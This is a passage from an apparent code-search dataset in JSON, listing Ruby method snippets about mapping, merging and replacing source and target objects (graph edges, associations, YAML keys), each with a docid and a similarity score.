fail \"you must provide both source (from) and destination (to) models\" unless from && to\n settings[:source_model] = from\n settings[:destination_model] = to\n end", "title": "" }, { "docid": "e3a86644479484e2a721617f156d4527", "score": "0.50250685", "text": "def map_target_fields(from_target, to_target, field_map)\n targets << from_target unless targets.include? from_target\n\n job_ds = context.send(to_target)\n sub_trans_ds = Remi::DataSubject.new\n define_singleton_method(from_target) { sub_trans_ds }\n\n field_maps[:targets][from_target] = FieldMap.new(send(from_target), job_ds, field_map)\n end", "title": "" }, { "docid": "b7eecb71c94a3b384dc2c69a17d0f790", "score": "0.50142896", "text": "def replaced(from, to)\n\t\tsuper if defined? super\n return if !connection_space\n\n\t\tif (from.distribute? && to.distribute?) && (to.self_owned? || from.self_owned?)\n\t\t unless Distributed.updating?(self) || (Distributed.updating?(from) && Distributed.updating?(to))\n\t\t\tconnection_space.each_updated_peer(from) do |peer|\n\t\t\t peer.transmit(:plan_replace, self, from, to)\n\t\t\tend\n\t\t end\n\t\tend\n\t end", "title": "" }, { "docid": "c2dccea0e5ae4b094637a4fd7eb6a74a", "score": "0.49928844", "text": "def update_obj_node(a, b, b_fun, mapping, processed)\n pair = Pair.new(a,b)\n return if processed.member? pair\n processed << pair\n\n a_node = @local_table.get_var_node(a)\n b_node = @local_table.get_var_node(b, b_fun)\n\n a_node.escape_state = :global_escape if b_node.escape_state == :global_escape\n a_node.type = b_node.type if a_node.type.nil?\n\n b_node.out_edges.each do |b_fid|\n a_fid = \"#{a}_#{strip_prefix(b_fid.to_s)}\".to_sym\n unless a_node.out_edges.include? a_fid \n @local_table.copy_var_node(a)\n @local_table.assure_existence(a_fid, ConnectionGraph::FieldNode)\n @local_table.last_graph.add_edge(a, a_fid)\n end\n\n update_ref_node(a_fid, b_fid, b_fun, mapping, processed)\n end\n end", "title": "" }, { "docid": "47e5440643080166ced3b7b94e76d702", "score": "0.49567482", "text": "def fix_up_references\n if self.sub_task_type.nil? and !self.sub_task_type_id.nil?\n self.sub_task_type = SubTaskType.find(self.sub_task_type_id)\n end\n if self.task.nil? and !self.task_id.nil?\n self.task = Task.find(self.task_id)\n end\n end", "title": "" }, { "docid": "ad5c46c726a4e7740228cf7faa2f5e80", "score": "0.4951363", "text": "def reconnect(edges, source, target)\n raise ArgumentError, \"Vertices expected as source and target\"\\\n unless (source.nil? or Vertex===source) and (target.nil? or Vertex===target)\n to_edges(edges).each do |edge|\n if source\n edge.source.remove_out_edge(edge)\n source.add_out_edge(edge)\n end\n if target\n edge.target.remove_in_edge(edge)\n target.add_in_edge(edge)\n end\n edge.reconnect(source, target)\n edge\n end\n end", "title": "" }, { "docid": "3f10bff393876498c00c612e8975d04b", "score": "0.494387", "text": "def substitute(replacement)\n tap do |proxy|\n if replacement.blank?\n if _assigning? && !proxy.empty?\n base.atomic_unsets.push(_unscoped.first.atomic_path)\n end\n proxy.clear\n else\n atomically(:$set) do\n base.delayed_atomic_sets.clear unless _assigning?\n if replacement.first.is_a?(Hash)\n replacement = replacement.map do |doc|\n attributes = { :metadata => metadata, :_parent => base }\n attributes.merge!(doc)\n Factory.build(klass, attributes)\n end\n end\n docs = replacement.compact\n proxy.target = docs\n self._unscoped = docs.dup\n proxy.target.each_with_index do |doc, index|\n integrate(doc)\n doc._index = index\n doc.save if base.persisted? && !_assigning?\n end\n if _assigning?\n name = _unscoped.first.atomic_path\n base.delayed_atomic_sets[name].try(:clear)\n base._children.each do |child|\n child.delayed_atomic_sets.clear\n end\n base.instance_variable_set(:@_children, nil)\n base.delayed_atomic_sets[name] = proxy.as_document\n end\n end\n end\n end\n end", "title": "" }, { "docid": "f0879c5c2ae6c2470ed1700fe3aed126", "score": "0.49413198", "text": "def map source, target\n return if source.nil?\n\n raise ArgumentError, 'target cannot be nil' if target.nil?\n \n target.is_a?(Class) ? map_object(source, target.new) : map_object(source, target)\n end", "title": "" }, { "docid": "dc7b6926b5e3e526def1de6fd90db1fd", "score": "0.48933554", "text": "def replace_edges(node1, node2)\n\t\tlabel1, label2 = node1.label, node2.label\n\t\treturn if label2 == label1\n\t\tnode1.edges.each do |edge|\n\t\t\tsecond_label = edge.node_labels.delete(label1)\n\t\t\tremove_edge(edge)\n\t\t\tadd_edge(vertex(second_label), vertex(label2)) unless second_label == label2\n\t\tend\n\tend", "title": "" }, { "docid": "a9e8322e338069b695161a896382c9bf", "score": "0.48716497", "text": "def map_source_fields(from_source, to_source, field_map)\n sources << to_source unless sources.include? to_source\n\n job_ds = context.send(from_source)\n sub_trans_ds = Remi::DataSubject.new(name: to_source)\n define_singleton_method(to_source) { sub_trans_ds }\n\n field_maps[:sources][to_source] = FieldMap.new(job_ds, send(to_source), field_map)\n end", "title": "" }, { "docid": "4de39adba3f0457e06f7246f4fbee4ec", "score": "0.4856137", "text": "def transfer_exec(from, to)\n dup.tap {|rules| rules.each {|r| r.exec = to if r.exec == from} }\n end", "title": "" }, { "docid": "bc95d79f44f42effb5cef2f9b547096d", "score": "0.48483568", "text": "def replace(other_array)\n other_array.each { |val| raise_on_type_mismatch(val) }\n original_target = load_target.dup\n\n if owner.new_record?\n replace_records(other_array, original_target)\n else\n transaction { replace_records(other_array, original_target) }\n end\n end", "title": "" }, { "docid": "ee1ebf957afa0d01e3dac9d850abd730", "score": "0.48443252", "text": "def replace_edges(node1, node2)\n\t\tvertex(node1).each do |edge|\n\t\t\tadd_edge(node2, edge) unless edge == node2\n\t\tend\n\tend", "title": "" }, { "docid": "67b1b9a1fbae23493226115e847fb151", "score": "0.4842085", "text": "def _upsert_and_link(opts)\n o = OpenStruct.new(opts)\n\n raise ApplicationError::GraphLoaderParamsMissing unless o.parent_node &&\n o.parent_name &&\n o.child_node &&\n o.child_name &&\n o.relationship\n\n %(\n MATCH (p:#{o.parent_node} { name: '#{o.parent_name}' })\n MERGE (c:#{o.child_node} { name: '#{o.child_name}' })\n ON CREATE SET #{_merge_base_attrs(o, 'c')}\n ON MATCH SET #{_merge_base_attrs(o, 'c')}\n MERGE (p)-[:#{_relationship_attrs(o)}]->(c)\n ).strip\n end", "title": "" }, { "docid": "898cf9fee4bc50db8ac4744746ed1de9", "score": "0.48352593", "text": "def replace(other)\n @nodes.replace(other.nodes)\n end", "title": "" }, { "docid": "8cadd0449f49fa5eb93156ddd2ce030d", "score": "0.4826637", "text": "def replace_vertex_by(to)\n\t each_graph { |g| g.replace_vertex(self, to) }\n\tend", "title": "" }, { "docid": "0c984063d3b70c7e2c37b66b3d11cae0", "score": "0.48044723", "text": "def translate_keys_in_same_yaml(source, target, from_locale, to_locale, add_NOT_TRANSLATED=true)\n\n source.each_pair { |source_key, source_value|\n\n key_is_symbol = source_key.instance_of? Symbol\n\n source_key_translated = source_key.to_s.sub(/^#{from_locale}$/, \"#{to_locale}\")\n source_key_translated = source_key_translated.to_sym if key_is_symbol\n\n #if value is a hash, we call it recursively\n if (source_value.instance_of? Hash)\n if(!target.has_key?(source_key_translated))\n target[source_key_translated] = Hash.new\n end\n translate_keys_in_same_yaml(source_value, target[source_key_translated], from_locale, to_locale, add_NOT_TRANSLATED) #recurrence of other hashes\n else\n #it's a leaf node\n target[source_key_translated] = (add_NOT_TRANSLATED ? \"#{NOT_TRANSLATED}#{source_value}\" : \"#{source_value}\") if !target.has_key?(source_key_translated)\n end\n }\n end", "title": "" }, { "docid": "3144856506064ab83679ca728d725130", "score": "0.48033598", "text": "def update_ref_node(a_fid, b_fid, b_fun, mapping, processed)\n p_set = @local_table.points_to_set(b_fid, b_fun)\n\n if p_set.nil?\n p a_fid\n p b_fid\n p b_fun\n puts \"----\"\n end\n\n # If there are no PhantomFields attached to b_fid, all previous values of\n # a_fid should be dropped.\n has_phantom = false\n p_set.each do |b|\n if @local_table.get_var_node(b, b_fun).is_a? ConnectionGraph::PhantomField\n has_phantom = true\n end\n end\n unless has_phantom\n @local_table.get_var_node(a_fid).out_edges.each do |out|\n @local_table.copy_var_node(a_fid)\n @local_table.copy_var_node(out)\n @local_table.last_graph.delete_edge(a_fid, out)\n end\n end\n\n # Assure existence of mapped object in a_fun and update their nodes.\n p_set.each do |ob|\n # Map ob to corresponding object in caller function.\n maps_to_set(ob, b_fun, mapping).each do |oa|\n unless @local_table.points_to_set(a_fid).include? oa\n @local_table.copy_var_node(a_fid)\n if @local_table[b_fun].abstract_objects.include? oa\n oa_m = next_key(:om)\n mapping[oa] = oa_m\n oa = oa_m\n end\n @local_table.assure_existence(oa, ConnectionGraph::ObjectNode)\n @local_table.last_graph.add_edge(a_fid, oa)\n end\n update_obj_node(oa, ob, b_fun, mapping, processed)\n end\n end \n end", "title": "" }, { "docid": "9d76c5481ee4a2ce2ce8f1930057e6d1", "score": "0.48020452", "text": "def replace(parent_id, resource_ids, options = {})\n transaction do\n parent = parent_model.get(parent_id, options.except(:parent, :parent_id))\n return nil unless parent\n\n targets = target_model.get(:all, options).where(:id => resource_ids)\n parent.send(\"#{target_resource_name.to_s.pluralize}=\", targets)\n by_parent_id(parent_id).to_target_ids\n end\n end", "title": "" }, { "docid": "e1c37b1bd840fb1dc09b584e32c19a10", "score": "0.4796205", "text": "def convert_to_dag!(nodes, feedback_edge_set)\n new_nodes = []\n inventory_collection_transformations = {}\n nodes.each do |inventory_collection|\n feedback_dependencies = feedback_edge_set.select { |e| e.second == inventory_collection }.map(&:first)\n attrs = inventory_collection.dependency_attributes_for(feedback_dependencies)\n\n next if attrs.blank?\n\n new_inventory_collection = inventory_collection.clone\n\n # Add inventory_collection as a dependency of the new_inventory_collection, so we make sure it runs after\n # TODO(lsmola) add a nice dependency_attributes setter? It's used also in actualize_dependencies method\n new_inventory_collection.dependency_attributes[:__feedback_edge_set_parent] = Set.new([inventory_collection])\n new_nodes << new_inventory_collection\n\n inventory_collection.blacklist_attributes!(attrs)\n new_inventory_collection.whitelist_attributes!(attrs)\n\n # Store a simple hash for transforming inventory_collection to new_inventory_collection\n inventory_collection_transformations[inventory_collection] = new_inventory_collection\n end\n\n all_nodes = nodes + new_nodes\n\n # If we remove an attribute that was a dependency of another node, we need to move also the\n # dependency. So e.g. floating_ip depends on network_port's attribute vm, but we move that attribute to new\n # network_port inventory_collection. We will need to move also the dependency to point to the new\n # inventory_collection.\n #\n # So we have to go through all dependencies that loads a key, which is the moved attribute. We can get a list\n # of attributes that are using a key from transitive_dependency_attributes, from there we can get a list of\n # dependencies. And from the list of dependencies, we can check which ones were moved just by looking into\n # inventory_collection_transformations.\n all_nodes.each do |inventory_collection|\n inventory_collection.transitive_dependency_attributes.each do |transitive_dependency_attribute|\n transitive_dependencies = inventory_collection.dependency_attributes[transitive_dependency_attribute]\n next if transitive_dependencies.blank?\n\n transitive_dependencies.map! do |dependency|\n transformed_dependency = inventory_collection_transformations[dependency]\n transformed_dependency.blank? ? dependency : transformed_dependency\n end\n end\n end\n\n # Add the new InventoryCollections to the list of nodes our our graph\n construct_graph!(all_nodes)\n end", "title": "" }, { "docid": "3cdbe54a2daf1682954b02fd304d2528", "score": "0.47815353", "text": "def replace(other)\n other = Wow::SourceList.new(other) if other.is_a? Array\n @sources.replace(other.sources)\n self\n end", "title": "" }, { "docid": "af50b1b6e5106f55c108fa50742f7ac7", "score": "0.4770751", "text": "def map_ids source: , records: , object_fk_field: , dependency_object_pk: , dependency_object: nil\n\n # Get dependency object ids from the object\n dependency_ids = records.map{|row| row[object_fk_field]}.compact.sort.uniq\n\n # Use those Ids to get the object records from source including the dependency_object_pk\n source_object = source.query \"Select Id,#{dependency_object_pk} FROM #{dependency_object}\", dependency_ids\n\n # Get the dependency_object_pk values and export the IDs from the target object\n dependency_object_pk_values = source_object.map {|row| row[dependency_object_pk].gsub(\"'\", %q(\\\\\\')) if not row[dependency_object_pk].nil? }.compact\n target_object = self.query_select_in \"Select Id,#{dependency_object_pk} FROM #{dependency_object} WHERE #{dependency_object_pk}\", dependency_object_pk_values\n\n # Now we have source_object and target_object ids and values, we can do the mapping on records\n records.map! do |record|\n\n # If the :object_fk_field is nil, then there is no reference to map and we import the record as itis\n next record if record[object_fk_field].nil?\n\n # Grab the source dependency item for this record using the :object_fk_field id, if the source item doesn't exist, don't insert the record\n source_item = source_object.select {|row| row['Id'] == record[object_fk_field] }\n next if source_item.empty?\n\n # Grab the target dependency item for this record using the :dependency_object_pk, if the target item doesnt exist, don't insert the record\n target_item = target_object.select {|row| row[dependency_object_pk] == source_item.first[dependency_object_pk]}\n next if target_item.empty?\n\n # The actual mapping\n record[object_fk_field] = target_item.first['Id']\n record\n\n end\n\n records.compact\n\n end", "title": "" }, { "docid": "d32e67a6df4a238c787a2abac57165be", "score": "0.47645217", "text": "def merge!(other)\n @bindings.merge!(other.to_h) do |key, v1, v2|\n # Don't merge a pattern over a statement\n # This happens because JOIN does a reverse merge,\n # and a pattern is set in v2.\n v2.is_a?(Pattern) ? v1 : v2\n end\n # Merge bindings from patterns\n embedded_solutions = []\n @bindings.each do |k, v|\n if v.is_a?(Pattern) && other[k].is_a?(RDF::Statement)\n embedded_solutions << v.solution(other[k])\n end\n end\n # Merge embedded solutions\n embedded_solutions.each {|soln| merge!(soln)}\n self\n end", "title": "" }, { "docid": "073a94a929d0aa61089a62881d58f661", "score": "0.47596145", "text": "def assign_graph_to_qernel_objects\n nodes.each do |node|\n node.graph = self\n node.slots.each { |s| s.graph = self }\n end\n edges.each do |edge|\n edge.graph = self\n edge.query.graph = self\n end\n carriers.each { |c| c.graph = self }\n end", "title": "" }, { "docid": "9202f07197d807492d93128587cc752c", "score": "0.47464734", "text": "def scan_targets!\n @targets.each do |target|\n next if skip_targets_without_source(target)\n next if skip_create_action_of_non_first_app(target)\n next if skip_destroy_action_of_non_last_app(target)\n\n source, source_type = target[:source], target[:source_type]\n source.source_type = source_type\n source['id'] = source['id'].to_s # if source came from event, id is integer, otherwise string\n\n force_destroy_action(target)\n end\n end", "title": "" }, { "docid": "49b7190f1f3a431b6c6db7a3ce921322", "score": "0.47454983", "text": "def replace(other_array)\n other_array.each { |val| raise_on_type_mismatch!(val) }\n original_target = load_target.dup\n\n if owner.new_record?\n replace_records(other_array, original_target)\n else\n replace_common_records_in_memory(other_array, original_target)\n if other_array != original_target\n transaction { replace_records(other_array, original_target) }\n else\n other_array\n end\n end\n end", "title": "" }, { "docid": "d27caba67ab1030455fb62ff0381d686", "score": "0.47345716", "text": "def delegate_to_relationship(relationship, other_query = nil)\n source_key = relationship.source_key\n target_key = relationship.target_key\n\n # TODO: use a subquery if the current collection is not already\n # loaded to avoid kicking it unecessarily\n\n # XXX: filtering out resources without a source_key will be unecessary\n # once subqueries are used\n sources = select { |resource| source_key.get!(resource).all? }\n\n target_maps = {}\n\n query = relationship.query_for(sources, other_query)\n\n collection = model.all(query).each do |target|\n targets = target_maps[ target_key.get(target) ] ||= []\n targets << target\n end\n\n sources.each do |source|\n targets = target_maps[ source_key.get(source) ] || []\n\n if relationship.respond_to?(:collection_for)\n # TODO: figure out an alternative approach to using a\n # private method call collection_replace\n association = relationship.collection_for(source, other_query)\n association.send(:collection_replace, targets)\n relationship.set!(source, association)\n else\n relationship.set(source, targets.first)\n end\n end\n\n collection\n end", "title": "" }, { "docid": "4aaf114cd03f37328269d4ab35661703", "score": "0.47287434", "text": "def replace(other)\n other = other.map do |resource|\n if resource.kind_of?(Hash)\n new(resource)\n else\n resource\n end\n end\n\n if loaded?\n orphan_resources(self - other)\n end\n\n relate_resources(other)\n super(other)\n end", "title": "" }, { "docid": "7a5d691d79153b0282a384260b96718e", "score": "0.4719694", "text": "def set_relations(object, relations)\n object = peer.local_object(object)\n relations = peer.local_object(relations)\n\n Distributed.update(object.root_object) do\n all_parents = Hash.new { |h, k| h[k] = ValueSet.new }\n all_children = Hash.new { |h, k| h[k] = ValueSet.new }\n \n # Add or update existing relations\n relations.each_slice(3) do |graph, parents, children|\n all_objects = parents.map { |p, _| p } + children.map { |c, _| c }\n Distributed.update_all(all_objects) do\n parents.each_slice(2) do |parent, info|\n next unless parent\n all_parents[graph] << parent\n\n if graph.linked?(parent, object)\n parent[object, graph] = info\n else\n Distributed.update(parent.root_object) do\n parent.add_child_object(object, graph, info)\n end\n end\n end\n children.each_slice(2) do |child, info|\n next unless child\n all_children[graph] << child\n\n if graph.linked?(object, child)\n object[child, graph] = info\n else\n Distributed.update(child.root_object) do\n object.add_child_object(child, graph, info)\n end\n end\n end\n end\n end\n\n Distributed.each_object_relation(object) do |rel|\n # Remove relations that do not exist anymore\n #\n # If the other end of this relation cannot be seen by\n # our remote peer, keep it: it means that the relation\n # is a local-only annotation this pDB has added to the\n # task\n (object.parent_objects(rel).to_value_set - all_parents[rel]).each do |p|\n # See comment above\n next unless p.distribute?\n Distributed.update_all([p.root_object, object.root_object]) do\n p.remove_child_object(object, rel)\n end\n end\n (object.child_objects(rel).to_value_set - all_children[rel]).each do |c|\n # See comment above\n next unless c.distribute?\n Distributed.update_all([c.root_object, object.root_object]) do\n object.remove_child_object(c, rel)\n end\n end\n end\n end\n\n nil\n end", "title": "" }, { "docid": "ccf89f943ecd61bbaa0e26677decebfe", "score": "0.4704743", "text": "def set_dns_remaps(proxy, source_target_array)\n $tracer.trace(\"CommonFunctions: #{__method__}, Line #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n proxy.started?.should be_true\n proxy.set_dns_remaps(source_target_array)\n end", "title": "" }, { "docid": "bf92174cb55a62743384217c7134ee00", "score": "0.47013968", "text": "def replace(target_node, node_type, *args, &block)\n attach_node(:replace, target_node, :parent, node_type, *args, &block)\n end", "title": "" }, { "docid": "03f7ed6ba9ee9e938e58cd88f86046f2", "score": "0.46967173", "text": "def merge(args)\n source = YAML.load_file args[:source]\n target = YAML.load_file args[:target]\n target.each do |et|\n source.each do |es|\n if et['name'] == es[args[:electorate]]\n et['members'] ||= []\n member = Hash.new\n es.each do |key,val|\n member[key] = val\n end\n et['members'].push member\n end\n end \n end\n target.to_yaml\n end", "title": "" }, { "docid": "e4bfbf94b776e6c5d6b1c2f3ba699edd", "score": "0.4688702", "text": "def deep_merge(target, source)\n source.each do |current_key, source_value|\n target_value = target[current_key]\n\n target[current_key] = if target_value.is_a?(Hash) && source_value.is_a?(Hash)\n deep_merge(target_value, source_value)\n else\n source_value\n end\n end\n target\n end", "title": "" }, { "docid": "b4edea153c4cd8905842ad767a7ea91e", "score": "0.4652429", "text": "def use_instead(other)\n outputs.edges.each do |user|\n other.output_to user.output_name, user.to, user.input_name\n end\n remove\n end", "title": "" }, { "docid": "32c2e31237195248d3b2a1a08d372b29", "score": "0.46487352", "text": "def substitute_labels(cp, labels)\n cp.each do |k, v|\n if v.is_a?(String) && labels.keys.include?(v)\n v.replace labels[v]\n elsif v.is_a?(Hash)\n substitute_labels v, labels\n elsif v.is_a?(Array)\n v.flatten.each { |x| substitute_labels(x, labels) if x.is_a?(Hash) }\n end\n end\n cp\nend", "title": "" }, { "docid": "32c2e31237195248d3b2a1a08d372b29", "score": "0.46487352", "text": "def substitute_labels(cp, labels)\n cp.each do |k, v|\n if v.is_a?(String) && labels.keys.include?(v)\n v.replace labels[v]\n elsif v.is_a?(Hash)\n substitute_labels v, labels\n elsif v.is_a?(Array)\n v.flatten.each { |x| substitute_labels(x, labels) if x.is_a?(Hash) }\n end\n end\n cp\nend", "title": "" }, { "docid": "bd90a05cabe5f9d2fd68e949c6f1dd00", "score": "0.46485895", "text": "def set_relations(object, relations)\n\t\tobject = peer.local_object(object)\n\t\trelations = peer.local_object(relations)\n\n\t\tDistributed.update(object.root_object) do\n\t\t all_parents = Hash.new { |h, k| h[k] = ValueSet.new }\n\t\t all_children = Hash.new { |h, k| h[k] = ValueSet.new }\n\t\t \n\t\t # Add or update existing relations\n\t\t relations.each_slice(3) do |graph, parents, children|\n\t\t\tall_objects = parents.map { |p, _| p } + children.map { |c, _| c }\n\t\t\tDistributed.update_all(all_objects) do\n\t\t\t parents.each_slice(2) do |parent, info|\n\t\t\t\tnext unless parent\n\t\t\t\tall_parents[graph] << parent\n\n\t\t\t\tif graph.linked?(parent, object)\n\t\t\t\t parent[object, graph] = info\n\t\t\t\telse\n\t\t\t\t Distributed.update(parent.root_object) do\n\t\t\t\t\tparent.add_child_object(object, graph, info)\n\t\t\t\t end\n\t\t\t\tend\n\t\t\t end\n\t\t\t children.each_slice(2) do |child, info|\n\t\t\t\tnext unless child\n\t\t\t\tall_children[graph] << child\n\n\t\t\t\tif graph.linked?(object, child)\n\t\t\t\t object[child, graph] = info\n\t\t\t\telse\n\t\t\t\t Distributed.update(child.root_object) do\n\t\t\t\t\tobject.add_child_object(child, graph, info)\n\t\t\t\t end\n\t\t\t\tend\n\t\t\t end\n\t\t\tend\n\t\t end\n\n\t\t Distributed.each_object_relation(object) do |rel|\n\t\t\t# Remove relations that do not exist anymore\n\t\t\t#\n\t\t\t# If the other end of this relation cannot be seen by\n\t\t\t# our remote peer, keep it: it means that the relation\n\t\t\t# is a local-only annotation this pDB has added to the\n\t\t\t# task\n\t\t\t(object.parent_objects(rel).to_value_set - all_parents[rel]).each do |p|\n\t\t\t # See comment above\n\t\t\t next unless p.distribute?\n\t\t\t Distributed.update_all([p.root_object, object.root_object]) do\n\t\t\t\tp.remove_child_object(object, rel)\n\t\t\t end\n\t\t\tend\n\t\t\t(object.child_objects(rel).to_value_set - all_children[rel]).each do |c|\n\t\t\t # See comment above\n\t\t\t next unless c.distribute?\n\t\t\t Distributed.update_all([c.root_object, object.root_object]) do\n\t\t\t\tobject.remove_child_object(c, rel)\n\t\t\t end\n\t\t\tend\n\t\t end\n\t\tend\n\n\t\tnil\n\t end", "title": "" }, { "docid": "2de831cef76526540545f83e3612b67d", "score": "0.46302697", "text": "def update!(**args)\n @destination = args[:destination] if args.key?(:destination)\n @kind = args[:kind] if args.key?(:kind)\n @source_objects = args[:source_objects] if args.key?(:source_objects)\n end", "title": "" }, { "docid": "07182949baeb03ce1668969d0d1e3069", "score": "0.46263173", "text": "def visit(source, target, &block)\n # clear the match hashes\n @matches.clear\n @id_mtchs.clear\n # seed the matches with the top-level source => target\n add_match(source, target)\n # Visit the source reference.\n super(source) { |src| visit_matched(src, &block) }\n end", "title": "" }, { "docid": "c288fafc6816bfb86e9ccd0017e25d81", "score": "0.4620229", "text": "def swap_out_unresponsive_targets(dataset2unresponsive_targets, dataset2substitute_targets)\n bad_targets = dataset2unresponsive_targets.is_a?(Hash) ? \\\n dataset2unresponsive_targets.value_set : \\\n dataset2unresponsive_targets \n @logger.debug { \"swapping out unresponsive targets: #{bad_targets}\" }\n\n update_target_blacklist(bad_targets.to_set | FailureIsolation.TargetBlacklist)\n @logger.debug { \"blacklist updated\" }\n\n dataset2substitute_targets.each do |dataset, substitute_targets|\n update_data_set(dataset, substitute_targets, bad_targets)\n end\n\n # update \n FailureIsolation.ReadInDataSets()\n\n @logger.debug { \"target lists updated\" }\n\n # need to push out new target list to VPs!\n end", "title": "" }, { "docid": "8ccd049083912258ad9e0ea10a658447", "score": "0.46067226", "text": "def assign( search_nodes, result_nodes )\n return super unless target?\n \n update(search_nodes) do |node|\n node.usurper = result_nodes\n end\n end", "title": "" }, { "docid": "cb8f3135ffac6572a65e87fc768dbf8d", "score": "0.46011287", "text": "def update!(**args)\n @traffic_source_id = args[:traffic_source_id] if args.key?(:traffic_source_id)\n @traffic_sub_id = args[:traffic_sub_id] if args.key?(:traffic_sub_id)\n end", "title": "" }, { "docid": "fb5947852c64576513be5b21b24816e6", "score": "0.4600272", "text": "def update!(**args)\n @destination = args[:destination] unless args[:destination].nil?\n @kind = args[:kind] unless args[:kind].nil?\n @source_objects = args[:source_objects] unless args[:source_objects].nil?\n end", "title": "" }, { "docid": "57e5b289bd4063491db9bd51ffd27eac", "score": "0.45954856", "text": "def rollup(plan, src_plan_key, super_id, obj_plan_key)\n id_to_obj = Hash.new()\n plan[src_plan_key].each do |o|\n id = o[super_id]\n if !id_to_obj.has_key?(id)\n id_to_obj[id] = Array.new\n end\n id_to_obj[id] << o\n end\n\n plan[obj_plan_key].each do |o|\n id = o[\"id\"]\n if id_to_obj.has_key?(id)\n o[src_plan_key] = id_to_obj[ id ]\n end\n end\n plan.delete(src_plan_key)\n end", "title": "" }, { "docid": "744de50955d33c0a4cdb9765e5332459", "score": "0.4588794", "text": "def reorganize_by_ids(source_id, parent_id)\n source = Source.get_source_by_id(source_id)\n source.detach\n parent = Source.find_by_id(parent_id) unless parent_id.to_s.length == 0\n source.attach_to(parent) if parent\n source\n end", "title": "" }, { "docid": "52d7e55621d4e8e7a2cd8e2a3024cb8c", "score": "0.4587359", "text": "def deep_merge!(destination, source, &block)\n source.each do |key, value|\n dvalue = destination[key]\n destination[key] = case\n when value.is_a?(Hash) && dvalue.is_a?(Hash)\n deep_merge(dvalue, value, &block)\n when block && destination.key?(key)\n block.call(key, dvalue, value)\n else\n value\n end\n end\n\n destination\n end", "title": "" }, { "docid": "3f6dffdc505a50055cdbba5bb22683bb", "score": "0.45805904", "text": "def remap_dependencies(copies)\n dependency_constraints = self.all_dependency_constraints\n dependency_constraints.each do |dependency_constraint|\n DependencyConstraint.create(\n ingredient: copies[dependency_constraint.ingredient] || dependency_constraint.ingredient,\n source: copies[dependency_constraint.source] || dependency_constraint.source,\n target: copies[dependency_constraint.target] || dependency_constraint.target\n )\n end\n end", "title": "" }, { "docid": "4a7c948d7abcdb2e3ef1553d85009370", "score": "0.45795658", "text": "def remap_bnodes(actual, expected)\n # Transform each to RDF and perform a blank node bijection.\n # Replace the blank nodes in action with the mapping from bijection.\n ds_actual = RDF::Repository.new << JSON::LD::API.toRdf(actual, rdfstar: true, rename_bnodes: false)\n ds_expected = RDF::Repository.new << JSON::LD::API.toRdf(expected, rdfstar: true, rename_bnodes: false)\n if (bijection = ds_actual.bijection_to(ds_expected))\n bijection = bijection.inject({}) { |memo, (k, v)| memo.merge(k.to_s => v.to_s) }\n\n # Recursively replace blank nodes in actual with the bijection\n replace_nodes(actual, bijection)\n else\n actual\n end\nend", "title": "" }, { "docid": "6a21372ad978bb15d7c47040f3a2e85f", "score": "0.45766073", "text": "def fix_placeholders!(_id_map, _placeholder_id = nil)\n # nodes don't refer to anything, so there is nothing to do here\n end", "title": "" }, { "docid": "51d6e9693d3d049c4ae0d624b0066b56", "score": "0.45656204", "text": "def update_patterns\n # only update assignments from patterns\n if self.source == 2 and transaction = self.transaction\n # now get array of all patterns assigned to this transaction\n existing_patterns = transaction.get_assigned_patterns \n\n # candidates to try are any patterns not already assigned\n #candidates = Pattern.all - existing_patterns\n #transaction.apply_patterns(candidates)\n \n # only apply patterns if there are no others already set\n transaction.apply_patterns(Pattern.all) if existing_patterns.count == 0\n end\n\n # destroying an assignment may change current tag\n # TODO fix this - it fails because self is nil?\n #self.transaction.update_current_tag\n end", "title": "" }, { "docid": "eafae9e146faa6ec3d0a6e9204bb1c2d", "score": "0.4556571", "text": "def transform_map(id, source, to:, from:)\n # @NOTE To keep the module simple I used hash of hashes as data structure to keep the mapping references\n # normally I will try to use an object but it seemed overkill in this case.\n # Also, we need to keep track of keys anyway with an hash, so any performance gain by using objects is\n # going to be minimal.\n if @transform_mappings\n @transform_mappings.merge!(\n {\n id => {\n source: source,\n to: to,\n from: from\n }\n }\n )\n else\n @transform_mappings = {\n id => {\n source: source,\n to: to,\n from: from\n }\n }\n end\n define_accessor_methods(id)\n transform_mappings\n end", "title": "" }, { "docid": "f766e6bbce0c4699c7c3d6b298c15e92", "score": "0.45553342", "text": "def assign_referenced_expressions\n targets = {}\n # find all referencable expressions\n root.each_expression do |exp|\n exp.is_a?(Group::Capture) && targets[exp.identifier] = exp\n end\n # assign them to any refering expressions\n root.each_expression do |exp|\n exp.respond_to?(:reference) &&\n exp.referenced_expression = targets[exp.reference]\n end\n end", "title": "" }, { "docid": "94bcef65f1962fa0f3c49fe33cc1ad26", "score": "0.45545712", "text": "def replace_workflow_info(workflow_action_def, nodes)\n\n self.each do |app|\n # require 'byebug'\n # require 'byebug/core'\n # Byebug.wait_connection = true\n # Byebug.start_server('localhost', 5555)\n # debugger\n app[1].reduce.reduce.action.action_defs.first[:content][:workflow][:subtasks] = workflow_action_def\n #hardcoded mongo:1\n node = nodes.find { |node| node[:display_name].eql? 'mongo:1' }\n app[1].reduce.reduce.component[:node] = node\n # app[1].node = node\n\n end\n end", "title": "" }, { "docid": "f8ee4870cbc1a743ea948d069c05fbbf", "score": "0.45539534", "text": "def topo_merge_task(task_symbol, dependent_tasks)\n result_file = topojson_output(task_symbol)\n dependent_files = dependent_tasks.map { |task| topojson_output(task) }\n command = \"topojson -p -o #{result_file} #{dependent_files.join(' ')}\"\n shell_command_task(result_file, dependent_files, command)\n task task_symbol => dependent_tasks + [result_file]\n\n CLOBBER.push(result_file)\nend", "title": "" }, { "docid": "c162285876165e4ed651af7232b3a751", "score": "0.45538035", "text": "def change(origin, target, consequence = nil)\n each do |segm|\n next unless segm.match(origin) && (block_given? ? yield(segm) : true)\n\n segm.merge!(target)\n consequence&.call(segm)\n end\n end", "title": "" }, { "docid": "d753bb15e397f21394db406ea5b86999", "score": "0.45482796", "text": "def service_instance_tasks_update_by_activerecord(tasks_collection, source, svc_instances_source_ref)\n service_instances = ServiceInstance.where(:source_id => source.id, :source_ref => svc_instances_source_ref)\n tasks_by_source_ref = Task.where(:state => 'running', :target_type => 'ServiceInstance', :source_id => source.id, :target_source_ref => service_instances.pluck(:source_ref)).index_by(&:target_source_ref)\n\n service_instances.select(:id, :archived_at, :external_url, :source_ref, :extra).find_in_batches do |group|\n ActiveRecord::Base.transaction do\n group.each do |svc_instance|\n next if (task = tasks_by_source_ref[svc_instance.source_ref]).nil?\n\n values = task_update_values(svc_instance.id, svc_instance.source_ref, svc_instance.external_url, svc_instance.extra['status'], svc_instance.extra['artifacts'], svc_instance.extra['task_status'], 